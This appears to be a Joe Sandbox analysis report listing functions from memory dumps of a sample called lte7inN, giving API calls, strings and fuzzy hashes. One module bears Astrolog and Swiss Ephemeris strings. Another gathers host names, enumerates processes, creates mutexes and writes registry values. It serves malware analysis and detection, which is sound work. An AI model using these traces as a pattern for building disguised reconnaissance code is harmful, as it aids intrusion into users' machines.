Opcode Fuzzy Hash: 99b2b07b1ee6cbe00d6ae160c2796f63db113b982fd40122b30e6911f9ac862b
Instruction Fuzzy Hash: F712E470904A09DBDB21CF26D9447EA77F8FF46308F2846DAE89997D40DB319AC9CB50

Function 6CA2338C Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 129
memoryfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6CA23393
CreateMutexA.KERNEL32(00000000,00000000,MyProgramMutex,00000020), ref: 6CA233A1
GetLastError.KERNEL32 ref: 6CA233B1
__CxxThrowException@8.LIBCMT ref: 6CA233D1
CreateThread.KERNEL32(00000000,00000000,Function_0000334B,00000000,00000000,6CB4A980), ref: 6CA23433
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 6CA23451
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6CB133F8), ref: 6CA2345C
ReadFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,6CB133F8), ref: 6CA23477
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CB133F8), ref: 6CA23484
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CB133F8), ref: 6CA23494
_memmove.LIBCMT ref: 6CA234AC
HeapCreate.KERNEL32(00040000,-000000C9,00000000), ref: 6CA234C5

Part of subcall function 6CAA2E33: _doexit.LIBCMT ref: 6CAA2E3F

RtlAllocateHeap.NTDLL(00000000,00000008,-000000C9), ref: 6CA234CF
_memmove.LIBCMT ref: 6CA234DC
GetDC.USER32(00000000), ref: 6CA234E5
EnumObjects.GDI32(00000000,00000002,00000000,00000000), ref: 6CA234F0

Strings

MyProgramMutex, xrefs: 6CA23398
_w8g, xrefs: 6CA233D8
1wps, xrefs: 6CA233DF

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: Create$File$CloseHandleHeap_memmove$AllocateEnumErrorException@8H_prolog3_catch_LastMutexObjectsReadSizeThreadThrow_doexit
String ID: 1wps$MyProgramMutex$_w8g
API String ID: 3857313433-2654228369
Opcode ID: e4549054e23bf315c756039456c0903667a5f805b3da8949f96d22e7e92c2618
Instruction ID: acca09654ebc17a832afda789b20fbc8bc2d13e563bfe97296e36f0b54336062
Opcode Fuzzy Hash: e4549054e23bf315c756039456c0903667a5f805b3da8949f96d22e7e92c2618
Instruction Fuzzy Hash: 7941D271A41215BFDB045BB58D88EEFBEBDEB0A214F184568F541F3640DB358E868770

Function 1000C1C0 Relevance: 33.1, APIs: 9, Strings: 9, Instructions: 1628networklibrarystringCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 1000C311
gethostname.WS2_32(?,00000100), ref: 1000C339
gethostbyname.WS2_32(?), ref: 1000C34F

Part of subcall function 1000BB20: gethostname.WS2_32(?,00000100), ref: 1000BB53
Part of subcall function 1000BB20: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 1000BB6F
Part of subcall function 1000BB20: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 1000BBB4

LoadLibraryW.KERNEL32(10077444,10077566,00000000,10077568,10077568,10077566,00000000,00000000,00000000,-00000002,00000000,00000000), ref: 1000C83C
FreeLibrary.KERNEL32(00000000), ref: 1000C885

Part of subcall function 1000C1C0: GetTickCount.KERNEL32 ref: 1000BD7C

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000007,00000000,00000000,10077510,00000006), ref: 1000CED4
lstrcpyW.KERNEL32(1008CE80,00000000), ref: 1000CF28
wsprintfW.USER32 ref: 1000CF3F
GetFileAttributesW.KERNEL32(?), ref: 1000CFE2

Part of subcall function 1001BC50: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000001,?), ref: 1001BC87

Part of subcall function 1001CBA0: GetComputerNameW.KERNEL32(?,00000200), ref: 1001CBF5
Part of subcall function 1001CBA0: lstrcpyW.KERNEL32(?,10077510,?,?,?,?,?,?), ref: 1001CC0B
Part of subcall function 1001CBA0: wsprintfW.USER32 ref: 1001CC37

Strings

l, xrefs: 1000CC2E
x64, xrefs: 1000C892, 1000C8B3, 1000C8B4
long, xrefs: 1000CF45, 1000CF79, 1000CF7A
Remark, xrefs: 1000C53E
x86, xrefs: 1000C897
SID, xrefs: 1000D63E
,, xrefs: 1000DAEC
Time, xrefs: 1000D49A
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 1000CBA8

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ByteCharMultiWide$Librarygethostnamelstrcpywsprintf$AttributesComputerCountFileFolderFreeLoadNamePathSpecialStartupTickgethostbyname
String ID: ,$HARDWARE\DESCRIPTION\System\CentralProcessor\0$Remark$SID$Time$l$long$x64$x86
API String ID: 4242217452-1458297535
Opcode ID: 55ff83a61d9db7206ae508621e76a6cffcc3e39af66de2d6fb2b3ad838857976
Instruction ID: 9d0cd7843b54b44ededa8168ed05449c303563adff5c25b9c2a1c632e16138b0
Opcode Fuzzy Hash: 55ff83a61d9db7206ae508621e76a6cffcc3e39af66de2d6fb2b3ad838857976
Instruction Fuzzy Hash: 37E2D470D00A589AEB64CB24CC85BEEB772EF45346F1082D9E049A7296DB756FC4CF60

Function 6CA2B1DE Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6CA2B1F5
_sprintf.LIBCMT ref: 6CA2B218

Part of subcall function 6CAA1F84: __output_l.LIBCMT ref: 6CAA1FDF

__wgetenv.LIBCMT ref: 6CA2B24B
_sprintf.LIBCMT ref: 6CA2B270
__wgetenv.LIBCMT ref: 6CA2B27D
_sprintf.LIBCMT ref: 6CA2B2A2
__wgetenv.LIBCMT ref: 6CA2B2AB
_sprintf.LIBCMT ref: 6CA2B2D0
_sprintf.LIBCMT ref: 6CA2B2F2

Strings

ASTROLOG, xrefs: 6CA2B278
C:\Astrolog, xrefs: 6CA2B2D8
ASTR, xrefs: 6CA2B20D, 6CA2B212, 6CA2B2AA
%s%s, xrefs: 6CA2B216, 6CA2B2DE
7.10, xrefs: 6CA2B208

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: _sprintf$__wgetenv$__output_l
String ID: %s%s$7.10$ASTR$ASTROLOG$C:\Astrolog
API String ID: 2520948663-3225433610
Opcode ID: 8419bc35046f4fb855cb9b133226b01b468fe603d073887f57dbec3fddd113dc
Instruction ID: c001fcda2f954d5b49433af8db81bd28d249d16cbd9a15ee1c779dd613f43b90
Opcode Fuzzy Hash: 8419bc35046f4fb855cb9b133226b01b468fe603d073887f57dbec3fddd113dc
Instruction Fuzzy Hash: 1131D6B18016D8ABEB0096E4ED44FFE3B6CDF4630CF1805A19956EBA51EB3495CDC760

Function 1000DBD0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 202
stringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000000), ref: 1000DBE7
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 1000DC07
wsprintfW.USER32 ref: 1000DC8F
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 1000DCC9
GetLastError.KERNEL32 ref: 1000DCD1
CloseHandle.KERNEL32(00000000), ref: 1000DCDF
GetComputerNameW.KERNEL32(?,00000200), ref: 1000DD26
lstrcpyW.KERNEL32(?,10077510), ref: 1000DD3C
wsprintfW.USER32 ref: 1000DD68

Strings

long, xrefs: 1000DDFA
tasktime, xrefs: 1000DE0C
Time, xrefs: 1000DC21, 1000DC9E

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Initializewsprintf$CloseComputerCreateErrorHandleLastMutexNameSecuritylstrcpy
String ID: Time$long$tasktime
API String ID: 1213109023-2011194240
Opcode ID: 18c389d78b71260914e67dd970c387743a4d043c92a2ccdab54cdcf64fc39b9a
Instruction ID: fdbe4bd0be62d1fc7a4c7fa3e0aaac4247286d7f8c664be7a572e76097edb7d8
Opcode Fuzzy Hash: 18c389d78b71260914e67dd970c387743a4d043c92a2ccdab54cdcf64fc39b9a
Instruction Fuzzy Hash: 7461BA75A00219ABFB24EB64CD85F9E73ADEF40340F110596F709E6182DF74AA84CBA5

Function 1000B4B0 Relevance: 18.4, APIs: 12, Instructions: 414
stringcomprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcsstr.LIBVCRUNTIME ref: 1000B51C
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1000B550
Process32FirstW.KERNEL32(00000000,00000000), ref: 1000B56F
lstrcmpiW.KERNEL32(00000024,?), ref: 1000B580
Process32NextW.KERNEL32(00000000,00000000), ref: 1000B58C
lstrcmpiW.KERNEL32(00000024,?), ref: 1000B59D
Process32NextW.KERNEL32(00000000,00000000), ref: 1000B5A9
CloseHandle.KERNEL32(00000000), ref: 1000B5BC
_wcsstr.LIBVCRUNTIME ref: 1000B612
_wcsstr.LIBVCRUNTIME ref: 1000B62F
CoCreateInstance.COMBASE(100677D8,00000000,00000001,100677E8,?), ref: 1000B6D3
CoSetProxyBlanket.COMBASE(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 1000B73A

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Process32_wcsstr$CreateNextlstrcmpi$BlanketCloseFirstHandleInstanceProxySnapshotToolhelp32
String ID:
API String ID: 653814811-0
Opcode ID: 74624c8c618551669e3d91651b5024e9fb6ba0012caf886f3360ed4b7693b94d
Instruction ID: b2bcd0be8440f84f9ca42e084e2990dc196e099689ef7adbacb0db17711209f8
Opcode Fuzzy Hash: 74624c8c618551669e3d91651b5024e9fb6ba0012caf886f3360ed4b7693b94d
Instruction Fuzzy Hash: 6EE1AE70E00709ABEB14CFA4CC49FAEB7B5FF45784F104128F605AB295DBB5A941CB54

Function 1001EE00 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 230
registrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(100782C8,?,?,?,?,?,10081068,00000001,Remark), ref: 1001EE9F
RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,?,?,10081068,00000001,Remark), ref: 1001EF1C
FreeLibrary.KERNEL32(?,?,?,?,?,?,10081068,00000001,Remark), ref: 1001F147

Strings

Remark, xrefs: 1001EE2A

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Library$FreeLoadOpen
String ID: Remark
API String ID: 3518234908-3865500943
Opcode ID: f0ac16730cc1bbeac4a56bd6364e2f2ca9246a11b390f576fc7b0e8c0857bdd6
Instruction ID: 4280bcdcbe3d8e76b3a2d985dd6de93ce3b6678e1cecf0cba3b117d83fd6403a
Opcode Fuzzy Hash: f0ac16730cc1bbeac4a56bd6364e2f2ca9246a11b390f576fc7b0e8c0857bdd6
Instruction Fuzzy Hash: 5F913AB1D04228ABEB21DF64CC44BDEB7B9FB44714F0041EAEA4CA7251DB719E858F58

Function 6CA2BCA4 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6CA2BDD5
_sprintf.LIBCMT ref: 6CA2BDEE

Strings

,M31, xrefs: 6CA2BDCC
@, xrefs: 6CA2BD48
Alnilam, xrefs: 6CA2BD9C
Kaus Australis, xrefs: 6CA2BDC0
Rigil Kentaurus, xrefs: 6CA2BDB4
,beCru, xrefs: 6CA2BDA8
Pleione, xrefs: 6CA2BD90
,ze-1Ret, xrefs: 6CA2BD84

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: _sprintf
String ID: ,M31$,beCru$,ze-1Ret$@$Alnilam$Kaus Australis$Pleione$Rigil Kentaurus
API String ID: 1467051239-1042911856
Opcode ID: 5414a3294c2e0b39d934b2bd1389af95ddf0f8a7c842485e6b29b46b971b9f16
Instruction ID: 62b10334cac27ebb602b4c963c7a286fc5b4e78f45ed209be6e520561b8ee31c
Opcode Fuzzy Hash: 5414a3294c2e0b39d934b2bd1389af95ddf0f8a7c842485e6b29b46b971b9f16
Instruction Fuzzy Hash: DC811531A1892ADBCF20AF64F8845EC7B74FB0B308F4986EDD19A53454DB3586D8CB40

Function 1001F9A0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 291
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1001CBA0: GetComputerNameW.KERNEL32(?,00000200), ref: 1001CBF5
Part of subcall function 1001CBA0: lstrcpyW.KERNEL32(?,10077510,?,?,?,?,?,?), ref: 1001CC0B
Part of subcall function 1001CBA0: wsprintfW.USER32 ref: 1001CC37

SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000,10081068,00000000,00000000), ref: 1001FAEE
wsprintfA.USER32 ref: 1001FB24
__fread_nolock.LIBCMT ref: 1001FBBE
CreateThread.KERNEL32(00000000,00000000,1001F2E0,00000000,00000000,00000000), ref: 1001FCF4
CloseHandle.KERNEL32(00000000), ref: 1001FCFB
Sleep.KERNEL32(000001F4), ref: 1001FD79

Strings

ARPD, xrefs: 1001F9CD

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: wsprintf$CloseComputerCreateFolderHandleNamePathSleepSpecialThread__fread_nolocklstrcpy
String ID: ARPD
API String ID: 1341197143-2799616583
Opcode ID: 1338866b2c3a02d0ec336459f934162f21c62a7b88ae211b20dd733c10737ede
Instruction ID: c6e7b88f8f3cbc9786cc4e93138ed0c2f04f0de870f558174a7f8b61b1f02c7c
Opcode Fuzzy Hash: 1338866b2c3a02d0ec336459f934162f21c62a7b88ae211b20dd733c10737ede
Instruction Fuzzy Hash: 4DB13971D00A589BDB25CB24CC55BFEB771EF55305F1082D8E908AB292EB74ABC58F90

Function 6CA44AFA Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fgetc.LIBCMT ref: 6CA44B43
_sprintf.LIBCMT ref: 6CA44B6F

Part of subcall function 6CA447B5: _sprintf.LIBCMT ref: 6CA447FA
Part of subcall function 6CA447B5: _sprintf.LIBCMT ref: 6CA44846
Part of subcall function 6CA447B5: GetModuleFileNameA.KERNEL32(?,000000FF,?,?,?,00000000,00000000), ref: 6CA44860
Part of subcall function 6CA447B5: _sprintf.LIBCMT ref: 6CA448A1
Part of subcall function 6CA447B5: _sprintf.LIBCMT ref: 6CA448D5
Part of subcall function 6CA447B5: _sprintf.LIBCMT ref: 6CA4491C

_fgetc.LIBCMT ref: 6CA44B90
_fgetc.LIBCMT ref: 6CA44BC9

Strings

The command file '%s' is not in any valid format (character %d)., xrefs: 6CA44B69
, xrefs: 6CA44B98
@, xrefs: 6CA44B57

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: _sprintf$_fgetc$FileModuleName
String ID: $@$The command file '%s' is not in any valid format (character %d).
API String ID: 1310815430-447543786
Opcode ID: 91327c838fbe304f401fe19cb4559b5276e707dde9e4a87489b24059a849954d
Instruction ID: b6ac1f63a58fb95ac02feb6241843f4c7ef06f349a70d0a02d9461fc4baa186d
Opcode Fuzzy Hash: 91327c838fbe304f401fe19cb4559b5276e707dde9e4a87489b24059a849954d
Instruction Fuzzy Hash: 3C2138719061185AD7219E6ADD40FDE77BCAF8221CF144199F74CB3B00DB348ACF8A99

Function 6CA683BC Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6CA6858D
_sprintf.LIBCMT ref: 6CA685DE

Strings

error: file path and name must be shorter than %d., xrefs: 6CA685D3
\, xrefs: 6CA684A8
SwissEph file '%s' not found in PATH '%s', xrefs: 6CA68587
.;C:\Astrolog\, xrefs: 6CA683DE

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: _sprintf
String ID: .;C:\Astrolog\$SwissEph file '%s' not found in PATH '%s'$\$error: file path and name must be shorter than %d.
API String ID: 1467051239-2281980244
Opcode ID: 9b8799dd9055355650ca4bda3f2e6189dfe004f6b786bce6e4986c1f5b981f96
Instruction ID: 44ea4f4aad9837d1954ed1b18aa058c471d760d09dcb45b051c5dfeaaffdca16
Opcode Fuzzy Hash: 9b8799dd9055355650ca4bda3f2e6189dfe004f6b786bce6e4986c1f5b981f96
Instruction Fuzzy Hash: A051D9B090416D8FCB11DE39CD546D9BBF5AB46308F0885F5D299E7A01E6314AC98F54

Function 1001F1B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 100
registrylibrarystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(100782C8,10081068), ref: 1001F1F4
RegCreateKeyExW.KERNEL32(80000001,1003AC40,00000000,00000000,00000000,000F003F,00000000,000000FE,?), ref: 1001F25D
RegOpenKeyExW.KERNEL32(80000001,1003AC40,00000000,0002001F,000000FE), ref: 1001F274
lstrlenW.KERNEL32(?), ref: 1001F27F
RegSetValueExW.KERNEL32(000000FE,?,00000000,00000001,?,00000000), ref: 1001F297

Strings

Time, xrefs: 1001F1CB

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: CreateLibraryLoadOpenValuelstrlen
String ID: Time
API String ID: 1375638161-3483776891
Opcode ID: 66dc3ac0a5c7e6bf8b4a1d02e65aac9550fe6383deacdd14883f52ca131d7556
Instruction ID: da749f221406ebe725311cc99906b7a6f75a18cf87e871c10c78f3a2f2c99309
Opcode Fuzzy Hash: 66dc3ac0a5c7e6bf8b4a1d02e65aac9550fe6383deacdd14883f52ca131d7556
Instruction Fuzzy Hash: 9E313A71D0022DBFEB00DFA9CC84EEEBABDEF49654F10412AFA15E2210DB7859408B64

Function 6CA6FAA9 Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 599
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6CA6FB76
_sprintf.LIBCMT ref: 6CA6FBFB

Strings

Please call swe_set_ephe_path() or swe_set_jplfile() before calling swe_fixstar() or swe_fixstar_ut(), xrefs: 6CA6FB24
, xrefs: 6CA6FFB2
%s,%s, xrefs: 6CA6FBF0

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: _memset_sprintf
String ID: $%s,%s$Please call swe_set_ephe_path() or swe_set_jplfile() before calling swe_fixstar() or swe_fixstar_ut()
API String ID: 1557529856-1540576256
Opcode ID: 714ba9aeb62c7c56c71e7c259f12003b781a307ba557031bbaca0d3ed1115e6c
Instruction ID: abe9b01d80d7105fa506c664d07bc1eb1eaa766689e9cc952f20c974a3473f3d
Opcode Fuzzy Hash: 714ba9aeb62c7c56c71e7c259f12003b781a307ba557031bbaca0d3ed1115e6c
Instruction Fuzzy Hash: A0220272E0060DDBDF10AF60DD84BDE7B74FF05308F158599E89866A90EB319AACCB51

Function 100425EC Relevance: 9.3, APIs: 6, Instructions: 285
